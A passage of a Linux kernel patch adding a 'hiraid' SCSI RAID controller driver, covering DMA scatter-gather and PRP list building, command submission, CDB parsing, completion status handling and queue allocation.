hiraid_mapmange *mapbuf) +{ + return mapbuf->list; +} + +static u32 hiraid_get_max_cmd_size(struct hiraid_dev *hdev) +{ + u32 alloc_size = sizeof(__le64 *) * max(hiraid_prp_pagenum(hdev), hiraid_sgl_pagenum(hdev)); + + dev_info(hdev->dev, "mapbuf size[%lu], alloc_size[%u]\n", + sizeof(struct hiraid_mapmange), alloc_size); + + return sizeof(struct hiraid_mapmange) + alloc_size; +} + +static int hiraid_build_passthru_prp(struct hiraid_dev *hdev, struct hiraid_mapmange *mapbuf) +{ + struct scatterlist *sg = mapbuf->sgl; + __le64 *phy_regpage, *prior_list; + u64 buf_addr = sg_dma_address(sg); + int buf_length = sg_dma_len(sg); + u32 page_size = hdev->page_size; + int offset = buf_addr & (page_size - 1); + void **list = hiraid_mapbuf_list(mapbuf); + int maplen = mapbuf->len; + struct dma_pool *pool; + dma_addr_t buffer_phy; + int i; + + maplen -= (page_size - offset); + if (maplen <= 0) { + mapbuf->first_dma = 0; + return 0; + } + + buf_length -= (page_size - offset); + if (buf_length) { + buf_addr += (page_size - offset); + } else { + sg = sg_next(sg); + buf_addr = sg_dma_address(sg); + buf_length = sg_dma_len(sg); + } + + if (maplen <= page_size) { + mapbuf->first_dma = buf_addr; + return 0; + } + + pool = hdev->prp_page_pool; + mapbuf->page_cnt = 1; + + phy_regpage = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!phy_regpage) { + dev_err_ratelimited(hdev->dev, "allocate first admin prp_list memory failed\n"); + mapbuf->first_dma = buf_addr; + mapbuf->page_cnt = -1; + return -ENOMEM; + } + list[0] = phy_regpage; + mapbuf->first_dma = buffer_phy; + i = 0; + for (;;) { + if (i == page_size / PRP_ENTRY_SIZE) { + prior_list = phy_regpage; + + phy_regpage = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!phy_regpage) { + dev_err_ratelimited(hdev->dev, "allocate [%d]th admin prp list memory failed\n", + mapbuf->page_cnt + 1); + return -ENOMEM; + } + list[mapbuf->page_cnt++] = phy_regpage; + phy_regpage[0] = prior_list[i - 1]; + prior_list[i - 1] = cpu_to_le64(buffer_phy); + i = 1; + } + phy_regpage[i++] = cpu_to_le64(buf_addr); + buf_addr += page_size; + buf_length -= page_size; + maplen -= page_size; + if (maplen <= 0) + break; + if (buf_length > 0) + continue; + if (unlikely(buf_length < 0)) + goto bad_admin_sgl; + sg = sg_next(sg); + buf_addr = sg_dma_address(sg); + buf_length = sg_dma_len(sg); + } + + return 0; + +bad_admin_sgl: + dev_err(hdev->dev, "setup prps, invalid admin SGL for payload[%d] nents[%d]\n", + mapbuf->len, mapbuf->sge_cnt); + return -EIO; +} + +static int hiraid_build_prp(struct hiraid_dev *hdev, struct hiraid_mapmange *mapbuf) +{ + struct scatterlist *sg = mapbuf->sgl; + __le64 *phy_regpage, *prior_list; + u64 buf_addr = sg_dma_address(sg); + int buf_length = sg_dma_len(sg); + u32 page_size = hdev->page_size; + int offset = buf_addr & (page_size - 1); + void **list = hiraid_mapbuf_list(mapbuf); + int maplen = mapbuf->len; + struct dma_pool *pool; + dma_addr_t buffer_phy; + int nprps, i; + + maplen -= (page_size - offset); + if (maplen <= 0) { + mapbuf->first_dma = 0; + return 0; + } + + buf_length -= (page_size - offset); + if (buf_length) { + buf_addr += (page_size - offset); + } else { + sg = sg_next(sg); + buf_addr = sg_dma_address(sg); + buf_length = sg_dma_len(sg); + } + + if (maplen <= page_size) { + mapbuf->first_dma = buf_addr; + return 0; + } + + nprps = DIV_ROUND_UP(maplen, page_size); + if (nprps <= (EXTRA_POOL_SIZE / PRP_ENTRY_SIZE)) { + pool = mapbuf->hiraidq->prp_small_pool; + mapbuf->page_cnt = 0; + } else { + pool = hdev->prp_page_pool; + mapbuf->page_cnt = 1; + } + + phy_regpage = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!phy_regpage) { + dev_err_ratelimited(hdev->dev, "allocate first prp_list memory failed\n"); + mapbuf->first_dma = buf_addr; + mapbuf->page_cnt = -1; + return -ENOMEM; + } + list[0] = phy_regpage; + mapbuf->first_dma = buffer_phy; + i = 0; + for (;;) { + if (i == page_size / PRP_ENTRY_SIZE) { + prior_list = phy_regpage; + + phy_regpage = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!phy_regpage) { + dev_err_ratelimited(hdev->dev, "allocate [%d]th prp list memory failed\n", + mapbuf->page_cnt + 1); + return -ENOMEM; + } + list[mapbuf->page_cnt++] = phy_regpage; + phy_regpage[0] = prior_list[i - 1]; + prior_list[i - 1] = cpu_to_le64(buffer_phy); + i = 1; + } + phy_regpage[i++] = cpu_to_le64(buf_addr); + buf_addr += page_size; + buf_length -= page_size; + maplen -= page_size; + if (maplen <= 0) + break; + if (buf_length > 0) + continue; + if (unlikely(buf_length < 0)) + goto bad_sgl; + sg = sg_next(sg); + buf_addr = sg_dma_address(sg); + buf_length = sg_dma_len(sg); + } + + return 0; + +bad_sgl: + dev_err(hdev->dev, "setup prps, invalid SGL for payload[%d] nents[%d]\n", + mapbuf->len, mapbuf->sge_cnt); + return -EIO; +} + +#define SGES_PER_PAGE (PAGE_SIZE / sizeof(struct hiraid_sgl_desc)) + +static void hiraid_submit_cmd(struct hiraid_queue *hiraidq, const void *cmd) +{ + u32 sqes = SQE_SIZE(hiraidq->qid); + unsigned long flags; + struct hiraid_admin_com_cmd *acd = (struct hiraid_admin_com_cmd *)cmd; + + spin_lock_irqsave(&hiraidq->sq_lock, flags); + memcpy((hiraidq->sq_cmds + sqes * hiraidq->sq_tail), cmd, sqes); + if (++hiraidq->sq_tail == hiraidq->q_depth) + hiraidq->sq_tail = 0; + + writel(hiraidq->sq_tail, hiraidq->q_db); + spin_unlock_irqrestore(&hiraidq->sq_lock, flags); + + dev_log_dbg(hiraidq->hdev->dev, "cid[%d] qid[%d] opcode[0x%x] flags[0x%x] hdid[%u]\n", + le16_to_cpu(acd->cmd_id), hiraidq->qid, acd->opcode, acd->flags, + le32_to_cpu(acd->hdid)); +} + +static inline bool hiraid_is_rw_scmd(struct scsi_cmnd *scmd) +{ + switch (scmd->cmnd[0]) { + case READ_6: + case READ_10: + case READ_12: + case READ_16: + case WRITE_6: + case WRITE_10: + case WRITE_12: + case WRITE_16: + return true; + default: + return false; + } +} + +/* + * checks if prps can be built for the IO cmd + */ +static bool hiraid_is_prp(struct hiraid_dev *hdev, struct scatterlist *sgl, u32 nsge) +{ + struct scatterlist *sg = sgl; + u32 page_mask = hdev->page_size - 1; + bool is_prp = true; + u32 i = 0; + + for_each_sg(sgl, sg, nsge, i) { + /* + * Data length of the middle sge multiple of page_size, + * address page_size aligned. + */ + if (i != 0 && i != nsge - 1) { + if ((sg_dma_len(sg) & page_mask) || + (sg_dma_address(sg) & page_mask)) { + is_prp = false; + break; + } + } + + /* + * The first sge addr plus the data length meets + * the page_size alignment. + */ + if (nsge > 1 && i == 0) { + if ((sg_dma_address(sg) + sg_dma_len(sg)) & page_mask) { + is_prp = false; + break; + } + } + + /* The last sge addr meets the page_size alignment. */ + if (nsge > 1 && i == (nsge - 1)) { + if (sg_dma_address(sg) & page_mask) { + is_prp = false; + break; + } + } + } + + return is_prp; +} + +enum { + HIRAID_SGL_FMT_DATA_DESC = 0x00, + HIRAID_SGL_FMT_SEG_DESC = 0x02, + HIRAID_SGL_FMT_LAST_SEG_DESC = 0x03, + HIRAID_KEY_SGL_FMT_DATA_DESC = 0x04, + HIRAID_TRANSPORT_SGL_DATA_DESC = 0x05 +}; + +static void hiraid_sgl_set_data(struct hiraid_sgl_desc *sge, struct scatterlist *sg) +{ + sge->addr = cpu_to_le64(sg_dma_address(sg)); + sge->length = cpu_to_le32(sg_dma_len(sg)); + sge->type = HIRAID_SGL_FMT_DATA_DESC << 4; +} + +static void hiraid_sgl_set_seg(struct hiraid_sgl_desc *sge, dma_addr_t buffer_phy, int entries) +{ + sge->addr = cpu_to_le64(buffer_phy); + if (entries <= SGES_PER_PAGE) { + sge->length = cpu_to_le32(entries * sizeof(*sge)); + sge->type = HIRAID_SGL_FMT_LAST_SEG_DESC << 4; + } else { + sge->length = cpu_to_le32(PAGE_SIZE); + sge->type = HIRAID_SGL_FMT_SEG_DESC << 4; + } +} + +static int hiraid_build_passthru_sgl(struct hiraid_dev *hdev, + struct hiraid_admin_command *admin_cmd, + struct hiraid_mapmange *mapbuf) +{ + struct hiraid_sgl_desc *sg_list, *link, *old_sg_list; + struct scatterlist *sg = mapbuf->sgl; + void **list = hiraid_mapbuf_list(mapbuf); + struct dma_pool *pool; + int nsge = mapbuf->sge_cnt; + dma_addr_t buffer_phy; + int i = 0; + + admin_cmd->common.flags |= SQE_FLAG_SGL_METABUF; + + if (nsge == 1) { + hiraid_sgl_set_data(&admin_cmd->common.dptr.sgl, sg); + return 0; + } + + pool = hdev->prp_page_pool; + mapbuf->page_cnt = 1; + + sg_list = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!sg_list) { + dev_err_ratelimited(hdev->dev, "allocate first admin sgl_list failed\n"); + mapbuf->page_cnt = -1; + return -ENOMEM; + } + + list[0] = sg_list; + mapbuf->first_dma = buffer_phy; + hiraid_sgl_set_seg(&admin_cmd->common.dptr.sgl, buffer_phy, nsge); + do { + if (i == SGES_PER_PAGE) { + old_sg_list = sg_list; + link = &old_sg_list[SGES_PER_PAGE - 1]; + + sg_list = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!sg_list) { + dev_err_ratelimited(hdev->dev, "allocate [%d]th admin sgl_list failed\n", + mapbuf->page_cnt + 1); + return -ENOMEM; + } + list[mapbuf->page_cnt++] = sg_list; + + i = 0; + memcpy(&sg_list[i++], link, sizeof(*link)); + hiraid_sgl_set_seg(link, buffer_phy, nsge); + } + + hiraid_sgl_set_data(&sg_list[i++], sg); + sg = sg_next(sg); + } while (--nsge > 0); + + return 0; +} + + +static int hiraid_build_sgl(struct hiraid_dev *hdev, struct hiraid_scsi_io_cmd *io_cmd, + struct hiraid_mapmange *mapbuf) +{ + struct hiraid_sgl_desc *sg_list, *link, *old_sg_list; + struct scatterlist *sg = mapbuf->sgl; + void **list = hiraid_mapbuf_list(mapbuf); + struct dma_pool *pool; + int nsge = mapbuf->sge_cnt; + dma_addr_t buffer_phy; + int i = 0; + + io_cmd->common.flags |= SQE_FLAG_SGL_METABUF; + + if (nsge == 1) { + hiraid_sgl_set_data(&io_cmd->common.dptr.sgl, sg); + return 0; + } + + if (nsge <= (EXTRA_POOL_SIZE / sizeof(struct hiraid_sgl_desc))) { + pool = mapbuf->hiraidq->prp_small_pool; + mapbuf->page_cnt = 0; + } else { + pool = hdev->prp_page_pool; + mapbuf->page_cnt = 1; + } + + sg_list = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!sg_list) { + dev_err_ratelimited(hdev->dev, "allocate first sgl_list failed\n"); + mapbuf->page_cnt = -1; + return -ENOMEM; + } + + list[0] = sg_list; + mapbuf->first_dma = buffer_phy; + hiraid_sgl_set_seg(&io_cmd->common.dptr.sgl, buffer_phy, nsge); + do { + if (i == SGES_PER_PAGE) { + old_sg_list = sg_list; + link = &old_sg_list[SGES_PER_PAGE - 1]; + + sg_list = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!sg_list) { + dev_err_ratelimited(hdev->dev, "allocate [%d]th sgl_list failed\n", + mapbuf->page_cnt + 1); + return -ENOMEM; + } + list[mapbuf->page_cnt++] = sg_list; + + i = 0; + memcpy(&sg_list[i++], link, sizeof(*link)); + hiraid_sgl_set_seg(link, buffer_phy, nsge); + } + + hiraid_sgl_set_data(&sg_list[i++], sg); + sg = sg_next(sg); + } while (--nsge > 0); + + return 0; +} + +#define HIRAID_RW_FUA BIT(14) + +static int hiraid_setup_rw_cmd(struct hiraid_dev *hdev, + struct hiraid_scsi_rw_cmd *io_cmd, + struct scsi_cmnd *scmd) +{ + u32 start_lba_lo, start_lba_hi; + u32 datalength = 0; + u16 control = 0; + + start_lba_lo = 0; + start_lba_hi = 0; + + if (scmd->sc_data_direction == DMA_TO_DEVICE) { + io_cmd->opcode = HIRAID_CMD_WRITE; + } else if (scmd->sc_data_direction == DMA_FROM_DEVICE) { + io_cmd->opcode = HIRAID_CMD_READ; + } else { + dev_err(hdev->dev, "invalid RW_IO for unsupported data direction[%d]\n", + scmd->sc_data_direction); + WARN_ON(1); + return -EINVAL; + } + + /* 6-byte READ(0x08) or WRITE(0x0A) cdb */ + if (scmd->cmd_len == 6) { + datalength = (u32)(scmd->cmnd[4] == 0 ? + IO_6_DEFAULT_TX_LEN : scmd->cmnd[4]); + start_lba_lo = (u32)get_unaligned_be24(&scmd->cmnd[1]); + + start_lba_lo &= 0x1FFFFF; + } + + /* 10-byte READ(0x28) or WRITE(0x2A) cdb */ + else if (scmd->cmd_len == 10) { + datalength = (u32)get_unaligned_be16(&scmd->cmnd[7]); + start_lba_lo = get_unaligned_be32(&scmd->cmnd[2]); + + if (scmd->cmnd[1] & FUA_MASK) + control |= HIRAID_RW_FUA; + } + + /* 12-byte READ(0xA8) or WRITE(0xAA) cdb */ + else if (scmd->cmd_len == 12) { + datalength = get_unaligned_be32(&scmd->cmnd[6]); + start_lba_lo = get_unaligned_be32(&scmd->cmnd[2]); + + if (scmd->cmnd[1] & FUA_MASK) + control |= HIRAID_RW_FUA; + } + /* 16-byte READ(0x88) or WRITE(0x8A) cdb */ + else if (scmd->cmd_len == 16) { + datalength = get_unaligned_be32(&scmd->cmnd[10]); + start_lba_lo = get_unaligned_be32(&scmd->cmnd[6]); + start_lba_hi = get_unaligned_be32(&scmd->cmnd[2]); + + if (scmd->cmnd[1] & FUA_MASK) + control |= HIRAID_RW_FUA; + } + + if (unlikely(datalength > U16_MAX || datalength == 0)) { + dev_err(hdev->dev, "invalid IO for illegal transfer data length[%u]\n", datalength); + WARN_ON(1); + return -EINVAL; + } + + io_cmd->slba = cpu_to_le64(((u64)start_lba_hi << 32) | start_lba_lo); + /* 0base for nlb */ + io_cmd->nlb = cpu_to_le16((u16)(datalength - 1)); + io_cmd->control = cpu_to_le16(control); + + return 0; +} + +static int hiraid_setup_nonrw_cmd(struct hiraid_dev *hdev, + struct hiraid_scsi_nonrw_cmd *io_cmd, struct scsi_cmnd *scmd) +{ + io_cmd->buf_len = cpu_to_le32(scsi_bufflen(scmd)); + + switch (scmd->sc_data_direction) { + case DMA_NONE: + io_cmd->opcode = HIRAID_CMD_NONRW_NONE; + break; + case DMA_TO_DEVICE: + io_cmd->opcode = HIRAID_CMD_NONRW_TODEV; + break; + case DMA_FROM_DEVICE: + io_cmd->opcode = HIRAID_CMD_NONRW_FROMDEV; + break; + default: + dev_err(hdev->dev, "invalid NON_IO for unsupported data direction[%d]\n", + scmd->sc_data_direction); + WARN_ON(1); + return -EINVAL; + } + + return 0; +} + +static int hiraid_setup_io_cmd(struct hiraid_dev *hdev, + struct hiraid_scsi_io_cmd *io_cmd, struct scsi_cmnd *scmd) +{ + memcpy(io_cmd->common.cdb, scmd->cmnd, scmd->cmd_len); + io_cmd->common.cdb_len = scmd->cmd_len; + + if (hiraid_is_rw_scmd(scmd)) + return hiraid_setup_rw_cmd(hdev, &io_cmd->rw, scmd); + else + return hiraid_setup_nonrw_cmd(hdev, &io_cmd->nonrw, scmd); +} + +static inline void hiraid_init_mapbuff(struct hiraid_mapmange *mapbuf) +{ + mapbuf->sge_cnt = 0; + mapbuf->page_cnt = -1; + mapbuf->use_sgl = false; + WRITE_ONCE(mapbuf->state, CMD_IDLE); +} + +static void hiraid_free_mapbuf(struct hiraid_dev *hdev, struct hiraid_mapmange *mapbuf) +{ + const int last_prp = hdev->page_size / sizeof(__le64) - 1; + dma_addr_t buffer_phy, next_buffer_phy; + struct hiraid_sgl_desc *sg_list; + __le64 *prp_list; + void *addr; + int i; + + buffer_phy = mapbuf->first_dma; + if (mapbuf->page_cnt == 0) + dma_pool_free(mapbuf->hiraidq->prp_small_pool, + hiraid_mapbuf_list(mapbuf)[0], buffer_phy); + + for (i = 0; i < mapbuf->page_cnt; i++) { + addr = hiraid_mapbuf_list(mapbuf)[i]; + + if (mapbuf->use_sgl) { + sg_list = addr; + next_buffer_phy = + le64_to_cpu((sg_list[SGES_PER_PAGE - 1]).addr); + } else { + prp_list = addr; + next_buffer_phy = le64_to_cpu(prp_list[last_prp]); + } + + dma_pool_free(hdev->prp_page_pool, addr, buffer_phy); + buffer_phy = next_buffer_phy; + } + + mapbuf->sense_buffer_virt = NULL; + mapbuf->page_cnt = -1; +} + +static int hiraid_io_map_data(struct hiraid_dev *hdev, struct hiraid_mapmange *mapbuf, + struct scsi_cmnd *scmd, struct hiraid_scsi_io_cmd *io_cmd) +{ + int ret; + + ret = scsi_dma_map(scmd); + if (unlikely(ret < 0)) + return ret; + mapbuf->sge_cnt = ret; + + /* No data to DMA, it may be scsi no-rw command */ + if (unlikely(mapbuf->sge_cnt == 0)) + return 0; + + mapbuf->len = scsi_bufflen(scmd); + mapbuf->sgl = scsi_sglist(scmd); + mapbuf->use_sgl = !hiraid_is_prp(hdev, mapbuf->sgl, mapbuf->sge_cnt); + + if (mapbuf->use_sgl) { + ret = hiraid_build_sgl(hdev, io_cmd, mapbuf); + } else { + ret = hiraid_build_prp(hdev, mapbuf); + io_cmd->common.dptr.prp1 = + cpu_to_le64(sg_dma_address(mapbuf->sgl)); + io_cmd->common.dptr.prp2 = cpu_to_le64(mapbuf->first_dma); + } + + if (ret) + scsi_dma_unmap(scmd); + + return ret; +} + +static void hiraid_check_status(struct hiraid_mapmange *mapbuf, struct scsi_cmnd *scmd, + struct hiraid_completion *cqe) +{ + scsi_set_resid(scmd, 0); + + switch ((le16_to_cpu(cqe->status) >> 1) & 0x7f) { + case SENSE_STATE_OK: + set_host_byte(scmd, DID_OK); + break; + case SENSE_STATE_NEED_CHECK: + set_host_byte(scmd, DID_OK); + scmd->result |= le16_to_cpu(cqe->status) >> 8; + if (scmd->result & SAM_STAT_CHECK_CONDITION) { + memset(scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE); + memcpy(scmd->sense_buffer, + mapbuf->sense_buffer_virt, SCSI_SENSE_BUFFERSIZE); + scmd->result = (scmd->result & 0x00ffffff) | (DRIVER_SENSE << 24); + } + break; + case SENSE_STATE_ABORTED: + set_host_byte(scmd, DID_ABORT); + break; + case SENSE_STATE_NEED_RETRY: + set_host_byte(scmd, DID_REQUEUE); + break; + default: + set_host_byte(scmd, DID_BAD_TARGET); + dev_warn_ratelimited(mapbuf->hiraidq->hdev->dev, "cid[%d] qid[%d] sdev[%d:%d] opcode[%.2x] bad status[0x%x]\n", + le16_to_cpu(cqe->cmd_id), le16_to_cpu(cqe->sq_id), scmd->device->channel, + scmd->device->id, scmd->cmnd[0], le16_to_cpu(cqe->status)); + break; + } +} + +static inline void hiraid_query_scmd_tag(struct scsi_cmnd *scmd, u16 *qid, u16 *cid, + struct hiraid_dev *hdev, struct hiraid_sdev_hostdata *hostdata) +{ + u32 tag = blk_mq_unique_tag(blk_mq_rq_from_pdu((void *)scmd)); + + if (work_mode) { + if ((hdev->hdd_dispatch == DISPATCH_BY_DISK) && (hostdata->hwq != 0)) + *qid = hostdata->hwq; + else + *qid = raw_smp_processor_id() % (hdev->online_queues - 1) + 1; + } else { + *qid = blk_mq_unique_tag_to_hwq(tag) + 1; + } + *cid = blk_mq_unique_tag_to_tag(tag); +} + +static int hiraid_queue_command(struct Scsi_Host *shost, struct scsi_cmnd *scmd) +{ + struct hiraid_mapmange *mapbuf = scsi_cmd_priv(scmd); + struct hiraid_dev *hdev = shost_priv(shost); + struct scsi_device *sdev = scmd->device; + struct hiraid_sdev_hostdata *hostdata; + struct hiraid_scsi_io_cmd io_cmd; + struct hiraid_queue *ioq; + u16 hwq, cid; + int ret; + + if (unlikely(hdev->state == DEV_RESETTING)) + return SCSI_MLQUEUE_HOST_BUSY; + + if (unlikely(hdev->state != DEV_LIVE)) { + set_host_byte(scmd, DID_NO_CONNECT); + scmd->scsi_done(scmd); + return 0; + } + + if (log_debug_switch) + scsi_print_command(scmd); + + hostdata = sdev->hostdata; + hiraid_query_scmd_tag(scmd, &hwq, &cid, hdev, hostdata); + ioq = &hdev->queues[hwq]; + + if (unlikely(atomic_inc_return(&ioq->inflight) > + (hdev->ioq_depth - HIRAID_PTHRU_CMDS_PERQ))) { + atomic_dec(&ioq->inflight); + return SCSI_MLQUEUE_HOST_BUSY; + } + + memset(&io_cmd, 0, sizeof(io_cmd)); + io_cmd.rw.hdid = cpu_to_le32(hostdata->hdid); + io_cmd.rw.cmd_id = cpu_to_le16(cid); + + ret = hiraid_setup_io_cmd(hdev, &io_cmd, scmd); + if (unlikely(ret)) { + set_host_byte(scmd, DID_ERROR); + scmd->scsi_done(scmd); + atomic_dec(&ioq->inflight); + return 0; + } + + ret = cid * SCSI_SENSE_BUFFERSIZE; + if (work_mode) { + mapbuf->sense_buffer_virt = hdev->sense_buffer_virt + ret; + mapbuf->sense_buffer_phy = hdev->sense_buffer_phy + ret; + } else { + mapbuf->sense_buffer_virt = ioq->sense_buffer_virt + ret; + mapbuf->sense_buffer_phy = ioq->sense_buffer_phy + ret; + } + io_cmd.common.sense_addr = cpu_to_le64(mapbuf->sense_buffer_phy); + io_cmd.common.sense_len = cpu_to_le16(SCSI_SENSE_BUFFERSIZE); + + hiraid_init_mapbuff(mapbuf); + + mapbuf->hiraidq = ioq; + mapbuf->cid = cid; + ret = hiraid_io_map_data(hdev, mapbuf, scmd, &io_cmd); + if (unlikely(ret)) { + dev_err(hdev->dev, "io map data err\n"); + set_host_byte(scmd, DID_ERROR); + scmd->scsi_done(scmd); + ret = 0; + goto deinit_iobuf; + } + + WRITE_ONCE(mapbuf->state, CMD_FLIGHT); + hiraid_submit_cmd(ioq, &io_cmd); + + return 0; + +deinit_iobuf: + atomic_dec(&ioq->inflight); + hiraid_free_mapbuf(hdev, mapbuf); + return ret; +} + +static int hiraid_match_dev(struct hiraid_dev *hdev, u16 idx, struct scsi_device *sdev) +{ + if (HIRAID_DEV_INFO_FLAG_VALID(hdev->dev_info[idx].flag)) { + if (sdev->channel == hdev->dev_info[idx].channel && + sdev->id == le16_to_cpu(hdev->dev_info[idx].target) && + sdev->lun < hdev->dev_info[idx].lun) { + dev_info(hdev->dev, "match device success, channel:target:lun[%d:%d:%d]\n", + hdev->dev_info[idx].channel, + hdev->dev_info[idx].target, + hdev->dev_info[idx].lun); + return 1; + } + } + + return 0; +} + +static int hiraid_disk_qd(u8 attr) +{ + switch (HIRAID_DEV_DISK_TYPE(attr)) { + case HIRAID_SAS_HDD_VD: + case HIRAID_SATA_HDD_VD: + return HIRAID_HDD_VD_QD; + case HIRAID_SAS_SSD_VD: + case HIRAID_SATA_SSD_VD: + case HIRAID_NVME_SSD_VD: + return HIRAID_SSD_VD_QD; + case HIRAID_SAS_HDD_PD: + case HIRAID_SATA_HDD_PD: + return HIRAID_HDD_PD_QD; + case HIRAID_SAS_SSD_PD: + case HIRAID_SATA_SSD_PD: + case HIRAID_NVME_SSD_PD: + return HIRAID_SSD_PD_QD; + default: + return MAX_CMD_PER_DEV; + } +} + +static bool hiraid_disk_is_hdd(u8 attr) +{ + switch (HIRAID_DEV_DISK_TYPE(attr)) { + case HIRAID_SAS_HDD_VD: + case HIRAID_SATA_HDD_VD: + case HIRAID_SAS_HDD_PD: + case HIRAID_SATA_HDD_PD: + return true; + default: + return false; + } +} + +static int hiraid_slave_alloc(struct scsi_device *sdev) +{ + struct hiraid_sdev_hostdata *hostdata; + struct hiraid_dev *hdev; + u16 idx; + + hdev = shost_priv(sdev->host); + hostdata = kzalloc(sizeof(*hostdata), GFP_KERNEL); + if (!hostdata) { + dev_err(hdev->dev, "alloc scsi host data memory failed\n"); + return -ENOMEM; + } + + down_read(&hdev->dev_rwsem); + for (idx = 0; idx < le32_to_cpu(hdev->ctrl_info->nd); idx++) { + if (hiraid_match_dev(hdev, idx, sdev)) + goto scan_host; + } + up_read(&hdev->dev_rwsem); + + kfree(hostdata); + return -ENXIO; + +scan_host: + hostdata->hdid = le32_to_cpu(hdev->dev_info[idx].hdid); + hostdata->max_io_kb = le16_to_cpu(hdev->dev_info[idx].max_io_kb); + hostdata->attr = hdev->dev_info[idx].attr; + hostdata->flag = hdev->dev_info[idx].flag; + hostdata->rg_id = 0xff; + sdev->hostdata = hostdata; + up_read(&hdev->dev_rwsem); + return 0; +} + +static void hiraid_slave_destroy(struct scsi_device *sdev) +{ + kfree(sdev->hostdata); + sdev->hostdata = NULL; +} + +static int hiraid_slave_configure(struct scsi_device *sdev) +{ + unsigned int timeout = scmd_tmout_rawdisk * HZ; + struct hiraid_dev *hdev = shost_priv(sdev->host); + struct hiraid_sdev_hostdata *hostdata = sdev->hostdata; + u32 max_sec = sdev->host->max_sectors; + int qd = MAX_CMD_PER_DEV; + + if (hostdata) { + if (HIRAID_DEV_INFO_ATTR_VD(hostdata->attr)) + timeout = scmd_tmout_vd * HZ; + else if (HIRAID_DEV_INFO_ATTR_RAWDISK(hostdata->attr)) + timeout = scmd_tmout_rawdisk * HZ; + max_sec = hostdata->max_io_kb << 1; + qd = hiraid_disk_qd(hostdata->attr); + + if (hiraid_disk_is_hdd(hostdata->attr)) + hostdata->hwq = hostdata->hdid % (hdev->online_queues - 1) + 1; + else + hostdata->hwq = 0; + } else { + dev_err(hdev->dev, "err, sdev->hostdata is null\n"); + } + + blk_queue_rq_timeout(sdev->request_queue, timeout); + sdev->eh_timeout = timeout; + scsi_change_queue_depth(sdev, qd); + + if ((max_sec == 0) || (max_sec > sdev->host->max_sectors)) + max_sec = sdev->host->max_sectors; + + if (!max_io_force) + blk_queue_max_hw_sectors(sdev->request_queue, max_sec); + + dev_info(hdev->dev, "sdev->channel:id:lun[%d:%d:%lld] scmd_timeout[%d]s maxsec[%d]\n", + sdev->channel, sdev->id, sdev->lun, timeout / HZ, max_sec); + + return 0; +} + +static void hiraid_shost_init(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + u8 domain, bus; + u32 dev_func; + + domain = pci_domain_nr(pdev->bus); + bus = pdev->bus->number; + dev_func = pdev->devfn; + + hdev->shost->nr_hw_queues = work_mode ? 1 : hdev->online_queues - 1; + hdev->shost->can_queue = hdev->scsi_qd; + + hdev->shost->sg_tablesize = le16_to_cpu(hdev->ctrl_info->max_num_sge); + /* 512B per sector */ + hdev->shost->max_sectors = (1U << ((hdev->ctrl_info->mdts) * 1U) << 12) / 512; + hdev->shost->cmd_per_lun = MAX_CMD_PER_DEV; + hdev->shost->max_channel = le16_to_cpu(hdev->ctrl_info->max_channel) - 1; + hdev->shost->max_id = le32_to_cpu(hdev->ctrl_info->max_tgt_id); + hdev->shost->max_lun = le16_to_cpu(hdev->ctrl_info->max_lun); + + hdev->shost->this_id = -1; + hdev->shost->unique_id = (domain << 16) | (bus << 8) | dev_func; + hdev->shost->max_cmd_len = MAX_CDB_LEN; + hdev->shost->hostt->cmd_size = hiraid_get_max_cmd_size(hdev); +} + +static int hiraid_alloc_queue(struct hiraid_dev *hdev, u16 qid, u16 depth) +{ + struct hiraid_queue *hiraidq = &hdev->queues[qid]; + int ret = 0; + + if (hdev->queue_count > qid) { + dev_info(hdev->dev, "warn: queue[%d] is exist\n", qid); + return 0; + } + + hiraidq->cqes = dma_alloc_coherent(hdev->dev, CQ_SIZE(depth), + &hiraidq->cq_buffer_phy, GFP_KERNEL | __GFP_ZERO); + if (!hiraidq->cqes) + return -ENOMEM; + + hiraidq->sq_cmds = dma_alloc_coherent(hdev->dev, SQ_SIZE(qid, depth), + &hiraidq->sq_buffer_phy, GFP_KERNEL); + if (!hiraidq->sq_cmds) { + ret = -ENOMEM; + goto free_cqes; + } + + /* + * if single hw queue, we do not need to alloc sense buffer for every queue, + * we have alloced all on hiraid_alloc_resources. + */ + if (work_mode) + goto initq; + + /* alloc sense buffer */ + hiraidq->sense_buffer_virt = dma_alloc_coherent(hdev->dev, SENSE_SIZE(depth), + &hiraidq->sense_buffer_phy, GFP_KERNEL | __GFP_ZERO); + if (!hiraidq->sense_buffer_virt) { + ret = -ENOMEM; + goto free_sq_cmds; + } + +initq: + spin_lock_init(&hiraidq->sq_lock); + spin_lock_init(&hiraidq->cq_lock); + hiraidq->hdev = hdev; + hiraidq->q_depth = depth; + hiraidq->qid = qid; + hiraidq->cq_vector = -1; + hdev->queue_count++; + + return 0; + +free_sq_cmds: + dma_free_coherent(hdev->dev, SQ_SIZE(qid, depth), (void *)hiraidq->sq_cmds, + hiraidq->sq_buffer_phy); +free_cqes: + dma_free_coherent(hdev->dev, CQ_SIZE(depth), (void *)hiraidq->cqes, + hiraidq->cq_buffer_phy); + return ret; +} + +static int hiraid_wait_control_ready(struct hiraid_dev *hdev, u64 cap, bool enabled) +{ + unsigned long timeout = + ((HIRAID_CAP_TIMEOUT(cap) + 1) * HIRAID_CAP_TIMEOUT_UNIT_MS) + jiffies; + u32 bit = enabled ? HIRAID_CSTS_RDY : 0; + + while ((readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_RDY) != bit) { + usleep_range(1000, 2000); + if (fatal_signal_pending(current)) + return -EINTR; + + if (time_after(jiffies, timeout)) { + dev_err(hdev->dev, "device not ready; aborting %s\n", + enabled ? "initialisation" : "reset"); + return -ENODEV; + } + } + return 0; +} + +static int hiraid_shutdown_control(struct hiraid_dev *hdev) +{ + unsigned long timeout = le32_to_cpu(hdev->ctrl_info->rtd3e) / 1000000 * HZ + jiffies; + + hdev->ctrl_config &= ~HIRAID_CC_SHN_MASK; + hdev->ctrl_config |= HIRAID_CC_SHN_NORMAL; + writel(hdev->ctrl_config, hdev->bar + 